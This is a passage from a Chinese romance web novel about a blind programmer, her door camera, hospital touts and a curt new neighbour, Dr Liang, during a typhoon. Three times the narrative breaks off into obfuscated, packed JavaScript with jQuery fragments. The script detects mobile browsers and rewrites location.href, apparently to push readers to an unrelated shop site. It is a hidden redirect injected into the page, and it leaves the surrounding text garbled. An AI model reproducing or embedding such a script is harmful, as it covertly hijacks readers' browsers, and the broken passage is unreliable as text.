“那你可以安个监控。”徐翡提议,“我之前在我家门口安了一个,结果被邻居投诉,说侵犯他家隐私,不得不拆掉。你一个人住,装个监控更安全,反正对面没人,怎么拍都不会有纠纷。”
方舒好有点心动,入户监控能记录门外异动、提示以及报警,即使盲人看不见具体画面,用处也挺大。
心动就去办,三天后,方舒好家门正上方多了只黑洞洞的大眼睛,正对着无人居住的对门。
她的生活安静又单调,监控一开始派不上什么用场。
连着几天,除了她自己和打扫做饭的阿姨,再没有其他人经过,被摄像头记录到。
直到周六的早晨,一张新面孔出现在门外。
摄像头盯着ta看了半分钟,然后,响起了尖锐的警报。
4. 恶作剧
“这警报真吓人。”林星悠扶着吧台喝水压惊,“震慑力杠杠的。”
方舒好手机外放刚才监控录下的通话:“别叫了我错了!姐,我是星悠啊,姐——!”
“谁让你欠。”方舒好没好气,“大清早的,也给我吓得够呛。”
林星悠嘿嘿笑,牛皮糖一样黏方舒好身上:“看到你安了监控,我就想测试下它管不管用嘛。”
——戴上卫衣帽子,衣领遮住半张脸,对着门缝做了几组可疑又鬼畜的动作……幸好她姐看不见。
林星悠:“再说了,我这么欠也有你的功劳。”
她长再大也忘不了,十年前学校举办万圣节换装晚会,爸妈抽不开身,让当时读高一的表姐方舒好陪她参加。
别的小朋友的家长都打扮成和蔼可亲的动画人物,唯独她姐,头顶插着把菜刀,衣衫褴褛满脸是血……半个班的小朋友都吓哭了。
林星悠一直知道,她姐温柔冷静的外表下,藏着颗有点顽皮的心,所以即使她们年纪差了六岁半,也完全没代沟,非常玩得来。
可是,自从姐姐出国后,一切都变了……
“呼。”林星悠控制住思绪,勾起笑,“我们什么时候出发?”
方舒好:“等我换身衣服。”
今天是方舒好去医院看诊的日子,林星悠则是她的固定陪诊人——就在今年,林星悠从老家澜城考到T大,现在是T大一年级学生,而T大离方舒好家地铁只有一站,若非前段时间要军训,林星悠一周起码来方舒好家两趟。
周末医院人山人海,方舒好做了好几项检查,弄到中午还没完。
结果和前几次差不多,她的光感完全没有恢复的迹象……保守治疗意义不大,等其他指标再恢复些,手术就可以提上日程了。
方舒好独自坐在眼科候诊区,等林星悠排队取报告回来。
她以为自己早已接受自愈渺茫这一事实,甚至做好了终生失明的准备,但是……这双眼睛明明失去了大部分功能,为什么还会发酸,还可以流眼泪?
她揩了揩眼角,熟练地将酸楚压回心底。
“小姐,你也是来看眼睛的吧?”身旁响起一道浑浊的男声,听起来四十岁上下,“唉,我老婆在这儿治了好几年,根本没用。”
方舒好心脏一缩:“真的吗?”
“是啊,都说这里的复明技术最先进,我们全套治疗下来花了十几万,倾家荡产了都,结果效果还不如另一家医院花几万治的……”
听到这里,方舒好反而平静了些:“有这回事?”
“对呀。”男人笑道,忽然问,“你不是一个人来的吧?”
方舒好正要搬出莫须有的男性亲属,不巧,耳畔传来清脆的少女声音:“姐,报告我拿回来啦,费用也缴啦,你们在聊什么?”
“没什么,这是一位病友家属。”方舒好立刻起身,拉住林星悠的手,“我想起来有点事情要咨询黄主任,你陪我过去一趟。”
走开几米,方舒好压低声音:“那人是医疗中介。”
“骗子吗?”
“很像。”
“那我们多绕一会儿,从别的门出去。”林星悠回头张望,“他好像没跟来。”
察觉妹妹的手臂变得僵硬,方舒好逗她:“别紧张,黑中介一般不杀人。”
“噗……我才没紧张!”
医院人流密集,她们行进得缓慢。
不知经过哪里,方舒好忽然嗅到一丝沉稳的冷香,来不及辨别熟悉感来源于哪里,气息便悄然散去。
她脚步未顿,下一瞬,却被林星悠拉住。
“怎么了?”
林星悠伸长脑袋:“我看到一个巨帅的……应该是医生?没穿白大褂,戴着口罩,在和陈主任聊天。”
“真的假的?眼科的陈主任?”
陈主任不是方舒好的主任医师,而是科室主任,即眼科的行政一把手。
“对。”林星悠说,“唉,他们走到看不见的地方了。”
方舒好:“人戴着口罩你也能看出巨帅?”
“那个头型,身高,还有气质,绝对是大帅比。”林星悠很笃定,“超级有味道。”
听完她的描述,方舒好茫然地眨眨眼:“我也好想看一下。”
林星悠喉咙莫名一酸:“……会的,很快就会的。”
走出门诊大楼,前方是一条笔直的林荫道,天色半阴。
“小妹?好巧啊,又碰到了。”一个半秃顶的中年男人含笑走近,身旁跟着个眯着眼的中年女人,“这是我老婆,你看她眼睛真的好多了,就是在我刚才跟你说的那个医院治的……”
“你说的是xx医院吗?”身后忽然又冒出一个戴墨镜的男人,将方舒好和林星悠前后包夹,“我之前也和你们的情况一样,听朋友介绍,在那家医院看了一段时间,医生很专业,检查费还便宜……”
一连串话术,涉世未深的林星悠有点被绕进去,方舒好不敢和他们起冲突,暗示林星悠快走,她都没反应。
焦灼间,侧旁忽而传来声呵斥:“嘿!那边那几个!”
身穿制服的保安仿佛从天而降:“围着两个小姑娘干嘛呢?”
“没、没干嘛,就聊聊天。”
“你们是医托吧?”保安抓住其中一人的手,“跟我去保卫处一趟。”
方舒好和林星悠得以脱身,林星悠边走边拍脑袋:“天呐,我刚才像被洗脑了一样。”
“吃一堑长一智,都是社会经验。”方舒好深吸了口气,“该说不说,我们俩运气真好,离开医院了还能碰到保安,否则真不知道要被缠多久。”
林星悠后怕道:“是啊,难得有这么负责的保安叔叔。”
直到进入小区,两人才彻底放松下来。
方舒好:“今天这事,你千万别告诉小姨。”
“我不会的。”林星悠胁肩一笑,“不然她指定骂我没照顾好你。”
方舒好的小姨方之瑶在老家经营着一家生意很好的花店。因为过去经常帮姐姐照看舒好,方之瑶看待舒好,就像看待自己的另一个女儿。
之前方舒好费了很大的劲,才说服小姨留在老家安心开店,不必亲自来虹城照顾她。
比起方之苑,小姨方之瑶,更像方舒好理想中的母亲。
可是孩子并没有挑选母亲的权力,孩子生下来就是要爱母亲的,这份爱裹挟着方舒好,让她在过去二十余年里,跟随母亲辗转于一个又一个男人身边,进入一个又一个家庭,又离开一个又一个家庭。
决定回国治疗眼睛,是她人生中第一次,主动和母亲分开。
她不知道前方等待着她的是什么,她只知道以后她只为自己而活。
-
方舒好现在的生活很规律——六点半起床,弄点面包牛奶当早餐,吃完下楼在固定位置晒一会儿太阳,回来开始居家办公。
她有工作。
在美国出车祸时,她研究生刚毕业,即将入职一家互联网大厂。失明令她几度崩溃,但她不愿放弃这份工作,强忍着痛苦私下联系了公司宣发部门和当地媒体,国外大厂都热衷于这类作秀,包含“关爱员工”、“平等包容”、“多样性雇佣”等词条的新闻发布出去,公司形象提升,有舆论监督,方舒好的工作也保住,成为全公司凤毛麟角的盲人程序员。
虽然保住了工作,但她的职位、工作内容和薪资都大打折扣,从核心研发团队调到普通的维护部门,后来又转到中国分部,分到手的工作都是些简单的琐事。
方舒好没有怨言,盲人写代码的效率就是比普通人低,这障碍不是努力就可以跨越的。
放低期待,珍惜现在,有工作已经很不错了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16793702|190594||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>又到周末,今天林星悠有社团活动,没来陪她,方舒好独自在家听有声书,茶几上摆着活血化瘀的药膏。
今早她进厨房,打开橱柜找东西,不小心被里头掉下来的水壶砸伤了手。
之前就和阿姨说过,高处的柜子不要塞太满,而且,她能接触到的所有东西,都不能改变原来的位置,阿姨嘴上应得好,隔三差五又会忘记。
方舒好有些无力。
这个阿姨价格便宜,午饭和晚饭做得也合她口味,她暂时没有换阿姨的打算,只能找机会再和她谈谈,希望她工作认真些。
一时走神,有声书没听进去,方舒好翻回前面两页。
这时,门外传来脚步声和重物落地的闷响,似乎有人在搬家具。
未及细听,徐翡突然打来电话。
“你今天不是在外面谈生意吗?”方舒好问,“谈得怎么样?”
“就那样。”徐翡想聊的不是这个,“你知道吗,我在这家投资公司碰到了蒋博文,好像是他家开的公司。他请我去外面喝咖啡,我想他或许能帮我拉拉投资,就跟他去了。”
蒋博文是方舒好和徐翡的同班同学,高二追过方舒好一段时间。
上个月同学聚会后,蒋博文几乎每天都给方舒好发消息,嘘寒问暖,方舒好只客气应付。
听徐翡暴躁的口气,方舒好有点猜到她要说什么了。
“蒋博文不和我聊生意,净打听你的情况,说他想追你。我可没忘他高中那死乞白赖的样子,被你拒绝了之后还到处说你坏话。现在你眼睛看不见了,他又觉得自己能行了,说什么他不在乎你的眼睛,愿意养你一辈子。”
方舒好淡淡道:“我不用谁养,我自己有工作。”
“我就是这么告诉他的。我说你是G厂的程序员,工作很稳定。你知道他什么反应吗?他说女生当什么程序员,还是盲人,总有一天会被公司清退,还不如早点找个男人嫁了。”徐翡越说越怒,再度搬出旧事,“这家伙高中的时候就阴暗猥琐得不行,你和江今彻玩得好,他嫉妒死了,就给你们俩造黄谣,还骂你虚荣拜金,我可去他爹的,他算个什么东西,连江今彻的一根头发丝都不如,还敢肖想你!”
电话另一头安静许久。
方舒好吐了口气:“你帮我骂他了吗?”
“当然!”
“爱你。”方舒好由衷地笑,稍顿,状似不经意道,“你之前不是说,以后不提江今彻了么?”
“一时嘴快没刹住……”
“过去的事就留在过去吧,我和他早就没有任何关系了。”
她没有告诉徐翡,江今彻通过了她的好友申请,还借了她十万块钱。
就在昨天,她把这笔钱原封不动还给他,说自己已经度过难关,感谢他的帮助。
江今彻过了半天才收下这笔钱。
没有再回一个字。
同学聚会的小插曲,在此彻底画上句号。
方舒好很清楚,她和江今彻身处两个截然不同的世界,以后应该再也不会有交集了。
撂了电话,方舒好觉得屋子里有点闷,打算下楼走走。
握着盲杖推开门,下一瞬,一阵凉风陡然袭来,她冷不丁打了个寒颤。
茫然片刻,她感觉这阵风好像来自对门……
有人搬进去了?
方舒好折回自家,在厨房摸索半天,找到一箱还未拆封的果汁。
拎起果汁,她再次出门,顶着飕飕的空调冷风走向对面,靠在敞开的门框边。
组织了下语言,她冲屋里温声问:“您好?有人在吗,我是住在对面的邻居。”
……
“您好?请问主人在吗?”
约莫十几秒后,终于听到脚步声,从屋里散漫地挪出来。
“在。”男人嗓音低哑,不太耐烦地问,“有事?”
5. 恶作剧
方舒好实在冻得慌,不由往门后缩了缩。
新邻居的嗓音听起来像感冒刚好,鼻音有些重,含糊不清的,似乎还戴着口罩。
但他站在汩汩冷风中毫无畏缩,从发声位置判断,身高将近一米九。
方舒好能感觉到对方从高处落下的视线,在她脸上探究地徘徊。
“我是住在您对面的邻居,我姓方。”方舒好再次自我介绍,“我的眼睛看不见。”
“我姓梁。”
男人语气平淡,透着股倦懒,似乎对邻居是盲人这件事并不挂心。
方舒好硬着头皮继续道:“梁先生,特地来找您是想提前说一声,我出门要用盲杖探路,可能会不小心敲击到您家的门或者您放在门口的东西,希望您能谅解,也请您尽量不要放易碎物品,或者体积比较大的东西在过道上,谢谢。”
顿了顿,见对方没有应声,方舒好权当他默许了,弯腰将果汁放到他家门内:“这是我的一点心意。”
男人依旧惜字如金:“不必。”
方舒好坚持:“您收下吧,挺重的,我也不想拎回去。”
男人不回答了。
好难沟通的人。
高大,冷漠,孤僻,方舒好在心中为他画像。
就在她即将被这沉默劝返之际,身前的男人突然问:“你的手怎么了?”
方舒好愣了愣,抬起左手:“这里吗?今天不小心被水壶砸到……瘀血很明显吗?”
“嗯。”男人淡声说,“药膏也抹歪了。”
方舒好:“……”
她知道新邻居是在提醒她,并无恶意,也知道出糗是盲人生活的日常,但她失明的时间还不够长,还不能彻底适应这种窘迫,于是她在这一刻做了个非常错误的决定,那就是放下盲杖,试图将药膏抹到正确位置。
——盲人出行守则之一:千万不要轻易松开你的盲杖。
即便在你自己家门口。
方舒好刚将盲杖倚到墙上,不足三秒,只听滋啦——哐当——骨碌碌——盲杖落地滚走,她大惊失色,下意识俯身去捞。
门外摆了几样还未搬进房间的家具,有棱有角。
方舒好慌慌张张地往那边探,眼看要撞上,身前忽然横过来一只手臂,修长劲瘦,将她与坚硬的家具隔开。
方舒好于黑暗中短暂地抓了下这条胳膊,有点烫,肌肉线条流畅又清晰。
背后是男人宽阔的胸膛,能将她完完整整笼罩,压迫感很强。与此同时,一阵略微刺鼻的消毒水味扑向她。
这气味方舒好很熟悉,是医院的味道。
猜到对方在保护她,方舒好连声道:“谢谢,谢谢。”
男人没说什么,很快与她拉开距离,捡起盲杖递给她。
方舒好:“冒昧问一句,您是……医护人员吗?”
男人含糊应了声:“嗯。”
原来是医生,难怪看似冷酷,又有细心的一面。
方舒好对这个职业有天然信任,主动套近乎:“您是医大附医的医生吗?我就在那里看眼睛。”
医大附医与他们所住的小区仅隔一条街,许多医护人员和需要长期治疗的病患都租住在这个小区里。
“不是。”
“噢。”方舒好有些尴尬,“那敢问您在哪家医院高就?”
“你不认识。”
“……”
好拽的人。
说都不说怎么知道我不认识?
方舒好无言,刚萌生的些许亲切瞬间被冰水浇灭。
“那就不打扰您了。”她维持着体面,“以后请多多关照。”
忘记自己出门的目的是下楼透气,方舒好转身回家,刚迈一步,后头的新邻居像是突然想起什么事,懒声叫住她——
“稍等。”
“怎么了?”
“加个微信。”男人终于屈尊说了句比较完整的话,“哪天我没空,可能要麻烦你帮我取快递。”
方舒好:?
她用了将近十秒消化他的话。
没病吧,拜托一个盲人帮你取快递?
方舒好不敢相信世上有这么无赖的人,震惊之下,她尝试反过来理解他的话——
也许他这么说是在暗示她,以后如果她不方便,他可以帮她取快递?
他们小区对快递没有统一管理,大多数快递员会负责地送货上门,但也有少部分,丢在楼下或驿站就完事。
方舒好将信将疑地把号码报给他。
回到家,她拿出手机通过了新邻居的好友申请。
看不见头像,只能听到他的微信昵称是“ll”,应该是名字缩写。
方舒好纠结了一会儿,在“对门那个拽王”和“梁医生”这两个备注间选择了后者。
她决定把新邻居当个人看,希望新邻居日后能投桃报李,也做个人吧。
-
翌日清晨,闹钟设定时间还未到,方舒好的手机莫名其妙震动起来。
她正在梦中,不太情愿地被吵醒。
睁开眼,梦境里的光被现实的黑暗夺去。
方舒好恍惚了很久。
她梦见了从前真实发生过的事情。
这些年,她已经很少再梦见那个人。是因为前段时间的同学聚会吗?她在梦里回到了高考后的暑假,和高中同学的一场旅行。
高考结束不到一周,他们十几个玩得好的朋友组团前往海岛度假。
绿宝石一样镶嵌在太平洋上的岛屿,有椰林小山,沙滩别墅,码头停泊着成排游艇。
方舒好之前总听别人说江今彻家有钱,奈何高中生活单调,她对此并无太深感触,直到今天,得知脚下就是江家私人岛屿,岛上酒店为迎接他们的到来,在旺季关停所有对外业务,只为他们服务,她顿时有种闯入电影世界的错觉。
而她就是这部浪漫电影的女主角。
彼时她和江今彻,离走到一起只隔着最后那层窗户纸。
旅途第二个傍晚,趁别的朋友饮酒吹牛,江今彻单独带着她开游艇出海。
他初中就在加州考了游艇驾照,开过不下百次,经验丰富。浪花在两侧翻涌,游艇笔直扎入深海,少年简单的白T被风吹得猎猎耸动,张扬肆意,方舒好在他身边,心跳比喧嚣的海风更剧烈。
“你要不要试试?”江今彻偏头冲她一笑,让出驾驶位置。
“我?”方舒好睁圆眼,“你确定吗?”
“怎么,你不敢?”
不得不说,这人很有挑衅天赋。
方舒好还就吃这一套,咬咬牙,挪到驾驶位,纤细的手握住舵轮。
江今彻守在她身边指导她操作。
由她掌控的游艇向前飞驰,破开余晖浸染的海面,无法言喻的自由扑面而来。
随着夜色降临,方舒好渐渐看不清海面,迎面几个大浪,她吓得抓不稳舵轮,感觉随时都会被甩飞。
慌张无措之际,腰间突然环过来一只手臂,将她歪斜的身体揽正,尔后,他伸出另一只手握住舵轮。
这个姿势,相当于把她半抱入怀。
少年蓬勃温热的胸膛贴近,与她的后背咫尺之隔。
“别怕,有我在。”
不知道是不是做梦的缘故,听到这句话,方舒好反而更脆弱了。
心里酸涩涨潮,来不及继续做梦缓解,她就被手机的震动吵醒。
拿起一看。
是监控软件,从五点开始,不停地报告“镜头被遮挡”。
怎么回事?
方舒好刚睡醒,神思迟钝,顺手点开微信未读消息,来自一个小时前的五点六分——
梁医生:【你的监控能拍到我家门,侵犯了我的隐私】
梁医生:【我先遮住了】
方舒好立时清醒过来。
一股郁闷随之往上涌——
虽然监控这事是她没考虑周全,但是有什么问题不能天亮再解决,非要凌晨五点来搅人清梦?
甚至二话不说就把监控遮住,这么见不得人,难不成他是明星?是在逃通缉犯?
方舒好压下起床气,平静地回复——
Fine:【抱歉,因为对面之前没住人,我装监控的时候没想太多】
Fine:【我会找人来调整拍摄角度,确保不会拍到您家门口】
Fine:【您看这样行吗?】
说完这些,方舒好先去洗漱,回来就看到新消息——
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16793703|190594||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
梁医生:【不行】
她一口气险些喘不上来,正要直接语音问他“您是一定要我拆监控吗”,又有新消息跃出。
梁医生:【即使对着走道,也有可能拍到我的脸】
梁医生:【我进出门的时间和规律也会被你掌握】
梁医生:【这很危险】
方舒好:?
听到这里,她甚至有种错觉——
她家对面住着的其实是个美得不可方物、别人看一眼就会觊觎的女明星,而她则是个虎背熊腰、热衷于扒着监控看美女的变态壮汉。
Fine:【您是不是忘了,我的眼睛看不见】
梁医生:【监控都有文字播报】
梁医生:【而且,怎么保证你不给别人看】
我?为什么要?把你给别人看?!!
这瞬间,方舒好浑然忘记一直遵守的“放低治疗期待”原则,她想要复明,非常想,她一定要睁开眼睛看看对面住着个多么惊天地泣鬼神的帅哥!
她在心里疯狂吐槽,也只敢在心里。
以她现在的境况,邻里关系若是不和谐,对她的生活会造成很大困扰。
所以,多一事不如少一事。
Fine:【我保证绝不给别人看,但我知道您不会相信】
Fine:【我今天就找人把监控拆掉】
梁医生;【不用】
Fine:【什么?】
梁医生:【调整角度对着过道就行】
那不就是我刚才说的……
方舒好字还没打完,又收到一条——
梁医生:【然后,把监控权限给我,以后我和你共用】
方舒好愣了愣,第一时间,觉得这个办法非常公平。
镜头对着中间过道,来往的人依然能全部捕捉,但不会拍到她家里和他家里的画面,至于两人出门的作息,因为监控权限共享,我能知道你,你也能知道我——这并非绝对的公平,方舒好是女性,还是个盲人,处于天然弱势,但是她考虑了一会儿,觉得可以接受,因为她出行需要盲杖,动静很大,对门邻居若真要对她下什么黑手,何须研究监控?
方舒好做好决定,公事公办地给予答复。
也不再用敬称“您”。
Fine:【可以】
Fine:【你下载这个软件然后注册,我把你设置为家人,你就可以查看监控了】
Fine:【这是我购买监控的订单,刚使用没多久,费用你和我平分,OK吗?】
梁医生:【OK】
过了两分钟。
梁医生:【向你转账169.75元】
不错,精确到分,一丝不苟,免得扯皮。
方舒好立刻收款。
两秒后,突然感觉不对劲。
她高中数学竞赛好歹拿过国家级奖牌,稍微多看一眼,当即发现这个数字有误。
订单总价明明是359.5,姓梁的应该给她转179.75,怎么少了10块?
也许他数学不好……要不算了……反正才10块……
方舒好劝自己应该窝囊地接受,可她的手并不听使唤。
监控的事她确实有错,愿意退让,但钱的事,说多少就是多少。
Fine:【你是不是算错了?】
Fine:【359.5对半分,你应该给我转179.75】
梁医生:【没算错】
梁医生:【设备价格只有339.5,另外20是你自己加购的保修费,我不需要保修,为什么要分摊这笔钱?】
梁医生:【你这几天使用的折旧费就免了】
方舒好听完新消息,脾气再好也绷不住,直接把手机扔到床上。
她怎么会摊上这种邻居?龟毛!抠门!自以为是!
10块都给不起!
方舒好又想起刚做的梦。
二十分钟前,她还在浮华浪漫的电影里当女主角,私人岛屿,海景别墅,大大小小的游艇……就连空气都奢靡。
果然这类电影注定be。
随手甩你10万的男主角终究会离开,而坚定走向你的,只有10块都要扯皮的穷邻居。
6. 恶作剧
为免夜长梦多,方舒好当天就让阿姨调整了监控位置,又把姓梁的拉进监控app的家庭。
他没再说什么,方舒好也懒得问,就当他已经确认无误。
此后,相安无事了几天。
方舒好按部就班地生活,每天早起,晴日就下楼晒晒太阳,回来开始工作,其间从未碰到新邻居,他似乎不常在家,没什么存在感。
又一日,清晨时分。
方舒好站在家门外的过道,伸长盲杖,谨慎地四处探索。
昨天,姓梁的半夜给她发消息,说他在门口放了东西,没提具体是什么。
言下之意让她仔细点,别给他碰坏了。
方舒好生怕被碰瓷,特地早起,前来探查。
盲杖笃笃笃探了半圈,咔嗒,撞上一件硬物。
似乎是鞋柜。
他们两家门对门,一端是过道,另一端是墙,这鞋柜被他放在那堵共用的墙下,而不是他自己家门边。
更可气的是,鞋柜压过中轴线,严重入侵她这半边空间。
完全把她当软柿子捏!
方舒好气得用盲杖狠狠敲他鞋柜,哐哐哐,撞击声清脆,材质似乎是硬塑。
突然间,她想起这类硬塑质地的鞋柜,门板多是透明的。
也就是说,来到这里的人都能看见柜子里摆着男生的鞋,而鞋柜放在中间,陌生人也许会以为是她家的。
之前徐翡就曾提议,让她在家门口摆两双男鞋,提高居住安全,方舒好觉得有点怪,一直没照做,谁曾想,被新来的邻居歪打正着。
相比之下,被他占据的那点公共空间,好像……也不是那么重要。
方舒好的心情霎时一百八十度转弯。
收起盲杖,她用手轻拍了拍鞋柜——这次就不和姓梁的一般计较了。
-
虹城东面临海,十月仍是台风季。
新闻播报,今年最强台风在逼近,虹城不是登陆中心,却也会受影响。
阿姨提前请了假,方舒好自己在网上囤了些便当、泡面和零食饮料。她失明后做饭不方便,就算熟练了也不想做,因为看得见的时候她做饭就很难吃。
台风登陆那天是周中,虹城并未停工停学。林星悠上完早课,想去找她姐,结果校门紧闭,今天禁止学生离校,方舒好也在微信上劝妹妹老实待着,她这边一切齐备,独自过一周都不成问题。
早晨天还算平静,快到中午,窗户开始震动,外面风雨如晦,气象台说台风行进轨迹比预计偏北,更靠近虹城。
方舒好披着毯子坐在客厅听书。
其实听不太进去,咆哮的风声伴随各种异响,在光亮里听尚且骇人,而她的视野暗无天日,即使风吹不到脸上,依然觉得摇摇欲坠,无枝可依。
窗外,横冲直撞的风宛如实体,方舒好感觉整栋楼都在震。
她暗暗祈祷千万别吹坏窗户,下一秒就听见惨烈刺耳的爆破声,噼里啪啦!哗哗哗!
声音来自厨房,窗户的悲歌奏响。
完了。
真是乌鸦嘴。
方舒好跳下沙发,拖鞋都顾不上穿,大步冲进厨房。
明明有风声灌入室内的呜咽,厨房却安安稳稳,并没有切实的风在冲撞。
好奇怪。
方舒好小心翼翼靠近窗户,侧耳倾听,渐渐辨认出那声音来自……紧挨着她家厨房的隔壁邻居家。
姓梁的家里窗户炸了。
方舒好险些笑起来。
返回客厅。
她一边幸灾乐祸,一边又泛同理心——不知道他现在是否在家,如果不在,没有及时处理,可能会造成很大的财务损失。
思考片刻,最终善意占上风,方舒好给新邻居发去提醒。
Fine:【梁医生,你家窗户炸了】
过了会儿,她回看这条消息。
许是旁白语音太机械,这句话听起来,活脱脱的欠揍,阴阳怪气。
方舒好心一紧,她绝对没有那个意思。
好吧,就算有,也只有一点点,绝对没有这么明显。
她赶紧找补,添上一句。
Fine:【有什么需要帮忙的吗?】
这样看起来就是个贴心的好邻居了。
俗话怎么编的……喊盲人帮忙,越帮越忙。方舒好不认为自己能出什么力。
没想到,这一次她再次低估,新邻居的下限深不可测——
梁医生:【有吃的吗?】
方舒好差点就回:先把上次那10块给我!
这次是她主动效劳,他顺利成章提出要求,她实在无法回绝。
又让这穷鬼占到便宜。
方舒好拖拖沓沓进入厨房,打算选一桶最便宜的泡面给他。
购物袋里好几桶,摸起来都一个样,还有罐装饮料,可乐雪碧美年达,混在一起,像断电的信号灯,分不清红绿黄。
今天阿姨不在,没人帮她区分。
方舒好在购物袋旁边蹲了一会儿。
失明之后,她越来越喜欢蹲着,小时候妈妈会教育她这样不雅观,现在没人管她,她爱蹲多久蹲多久,整个人在黑暗里收拢得紧紧的,好像只有这样,才能感应到自己微末的存在。
就着蹲姿,她掏出手机,让新邻居来门口。
一分钟后。
男人倚在门边,看着对面门缝张开,长发披肩、黑色上衣灰色长裤的女人拎着大包东西从门后钻出。
她那张脸并不适配这么黯淡的着装,像娇艳欲滴的玫瑰开在阴影里。
方舒好感觉到男人存在,放下东西,扯起笑:“我买了好多泡面,你选一桶吧。作为回报,能不能帮我把这些东西的口味区分一下?里面有我不爱吃的。”
“不爱吃还买?”男人声音一如既往的低哑。
“我囤货太迟了。”方舒好叹气,“有总比没有好。”
沉默须臾,男人随口问:“你爱吃哪个?”
几天相处下来,方舒好不啻以最大恶意揣度他:这人肯定会挑走她喜欢的。
方舒好不爱吃辣,于是故意说:“麻辣牛肉味,只抢到一桶。”
话落,她似乎听到轻笑声。
“行。”男人点头,“麻辣的留给你。”
方舒好:“……”
一阵悉索声,男人拿走一桶,方舒好强忍着没反口。
她从口袋掏出本贴纸:“麻烦您了,海鲜味的贴方形,酸菜味的贴心形,麻辣味的贴圆形……”
男人无言接过。
感觉到他蹲下,开始摆弄,方舒好也蹲下,抱着膝,为免尴尬,她故作关心:“你家……还好吗?”
“你说呢?”他凉浸浸地反问。
“哪个房间的窗户碎了?厨房吗?”
“嗯。”
“所以你没法弄东西吃了?”
“嗯。”
不知为何,方舒好觉得现实中的他和微信上是两个人。微信上他能言善道,得寸进尺,气不死人不偿命,现实中却惜字如金,靠冷淡与敷衍达成同样的欠揍效果。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16793704|190594||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
分类完毕,男人站起身。
方舒好仍蹲着,伸手去摸他的成果。
泡面共有三种口味,方形的,心形的,圆形的……方形本该有两桶,现在只剩一桶——他拿走了她最喜欢的海鲜味!
好气!
偷鸡不成反蚀把米,方舒好眼皮抽了抽,抱起那堆东西,面无表情说再见。
“还有吗?”他忽然问。
“什么?”
“需要分辨的东西。”男人淡声说,“我正好闲着。”
台风呼啸,围拢着狭小安静的走道,在这座只有他们的小岛上,讨厌的拽王邻居似乎终于良心发现,变得好相处了一点。
方舒好站定,脑海里一一闪过最近购入的商品,确实还有些需要区分的,比如不同颜色的唇膏、袜子……但这些物品比较私人,还是交给阿姨或者星悠比较好。
转念,她想起了另一个麻烦的东西。
“你稍等,我回去拿一下。”
方舒好刚跨进门,脚步就顿住,非常纠结——要不要关门呢?
她顶多两分钟就会出来,关门显得多此一举,明摆着提防人家,可若是不关,将屋子大敞给刚认识没几天的男人看,她又是个盲人,连察觉到危险都难。
一番思量,方舒好决定不关门,跑快点,争取三十秒就出来。
泡面随手丢在玄关,她趿着拖鞋往储物间跑,没两步,就听见身后传来房门合上的咔嗒声。
男人从外面把她的门关上了。
出乎意料的有分寸。
方舒好脚步放缓,进入储物间,抱出一大瓶洗衣液。
回到门外,她指着洗衣液瓶口:“我早上弄了半天,怎么都打不开这个机关。”
男人垂眸观察了几秒:“手放上去。”
“嗯?”他不帮她开吗?
“你自己来。”男人沉声,“我教你。”
“噢,好的。”
方舒好也觉得这样更好,右手握住瓶口,听指挥按住两侧的机关,掌心发力去拧……还是打不开。
“你用点力。”
“我很用力了啊。”
“那就是没按对地方。”
“怎么会,不就是这里……”
她反复尝试,依旧不得其法,脸上几乎要冒汗。
男人宽大的手掌覆盖过来,指腹压住她手指。
“你得往下一点。”
“噢,噢。”
“再往下,嗯,这里。”
“好……好的。”
方舒好语无伦次。
他手好热,或许是她手太冰的缘故,近乎被烫到。
方舒好绷紧了背。
她这辈子只碰过两个异性的手,一个是小姨夫,他是医生,手掌非常干燥,常带着酒精的凉意,另一个则是她唯一谈过的男朋友。
江今彻的手就很热,宽大修长,被他牵着的时候,她从皮肤烫到心窝,像被烈日暴晒一样炽热。
“你在紧张什么?”男人低哑的嗓音突兀响起。
方舒好一激灵,抽回手,轻轻吐了口气。
“我没紧张。”她无神的眼睛缓慢眨动,扫过他的脸,“我只是……忽然想起一个人。”
“哒”的一声,男人直接拧开瓶盖,随口问:“谁?”
方舒好舔了舔唇,似是思考,又似是陷入回忆:“他很有钱,还特别大方,找他借钱不用利息。”
“然后?”
“给我十块,我告诉你他是谁。”
“……”
7. 恶作剧
新邻居不仅冷淡,抠门,还无趣,十块钱给不起,十块钱的玩笑也开不起。
——方舒好在心里为他的形象加笔。
洗衣液的问题解决后,两人各回各家。
方舒好泡了桶泡面,吃完坐到书桌前开始工作。同事丢给她几个调试app页面的需求,简单琐碎,屏幕高速读完一遍,她代码已经写得差不多,扔到软件里跑。
书桌上有两个屏,一个日常工作用,另一个闲时做研究,延续她硕士期间的方向——机器学习优化模型。
她不想忘记这些知识,心底还有一丝希冀:通过日久天长的训练,让工作效率不落下正常人太多,到那时候,或许会有重归研究岗位的机会。
